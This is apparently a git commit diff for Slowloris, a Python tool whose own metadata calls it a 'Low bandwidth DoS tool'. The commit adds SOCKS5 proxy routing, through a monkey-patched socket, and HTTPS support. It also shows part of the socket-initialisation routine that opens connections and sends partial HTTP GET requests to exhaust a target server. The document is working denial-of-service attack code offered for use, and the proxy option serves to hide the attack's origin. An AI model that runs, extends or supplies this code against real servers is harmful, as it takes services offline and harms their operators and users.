Updated to version 0.1.4

Release changelog:
- Added SOCKS5 proxy support
- Added HTTPS support
- Improved logging/output
This commit is contained in:
Gökberk Yaltıraklı 2016-12-22 15:41:59 +00:00
parent 7b93ef28e5
commit 7d381369dc
2 changed files with 10 additions and 4 deletions

View File

@ -3,7 +3,7 @@ setup(
name = "Slowloris", name = "Slowloris",
py_modules = ["slowloris"], py_modules = ["slowloris"],
entry_points = {"console_scripts": ["slowloris=slowloris:main"]}, entry_points = {"console_scripts": ["slowloris=slowloris:main"]},
version = "0.1.3", version = "0.1.4",
description = "Low bandwidth DoS tool. Slowloris rewrite in Python.", description = "Low bandwidth DoS tool. Slowloris rewrite in Python.",
author = "Gokberk Yaltirakli", author = "Gokberk Yaltirakli",
author_email = "webdosusb@gmail.com", author_email = "webdosusb@gmail.com",

View File

@ -10,10 +10,11 @@ parser.add_argument('-ua', '--randuseragents', dest="randuseragent", action="sto
parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting") parser.add_argument('-x', '--useproxy', dest="useproxy", action="store_true", help="Use a SOCKS5 proxy for connecting")
parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host") parser.add_argument('--proxy-host', default="127.0.0.1", help="SOCKS5 proxy host")
parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int) parser.add_argument('--proxy-port', default="8080", help="SOCKS5 proxy port", type=int)
parser.add_argument("--https", dest="https", action="store_true", help="Whether to use https requests") parser.add_argument("--https", dest="https", action="store_true", help="Use HTTPS for the requests")
parser.set_defaults(verbose=False) parser.set_defaults(verbose=False)
parser.set_defaults(randuseragent=False) parser.set_defaults(randuseragent=False)
parser.set_defaults(useproxy=False) parser.set_defaults(useproxy=False)
parser.set_defaults(https=False)
args = parser.parse_args() args = parser.parse_args()
if len(sys.argv)<=1: if len(sys.argv)<=1:
@ -26,13 +27,17 @@ if not args.host:
sys.exit(1) sys.exit(1)
if args.useproxy: if args.useproxy:
print("Using SOCKS5 proxy for connecting...") # Tries to import to external "socks" library
# and monkey patches socket.socket to connect over
# the proxy by default
try: try:
import socks import socks
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port) socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, args.proxy_host, args.proxy_port)
socket.socket = socks.socksocket socket.socket = socks.socksocket
logging.info("Using SOCKS5 proxy for connecting...")
except ImportError: except ImportError:
print("Socks Proxy Library Not Available!") logging.error("Socks Proxy Library Not Available!")
if args.verbose == True: if args.verbose == True:
logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG) logging.basicConfig(format="[%(asctime)s] %(message)s", datefmt="%d-%m-%Y %H:%M:%S", level=logging.DEBUG)
else: else:
@ -71,6 +76,7 @@ def init_socket(ip):
s.settimeout(4) s.settimeout(4)
if args.https: if args.https:
s = ssl.wrap_socket(s) s = ssl.wrap_socket(s)
s.connect((ip,args.port)) s.connect((ip,args.port))
s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8")) s.send("GET /?{} HTTP/1.1\r\n".format(random.randint(0, 2000)).encode("utf-8"))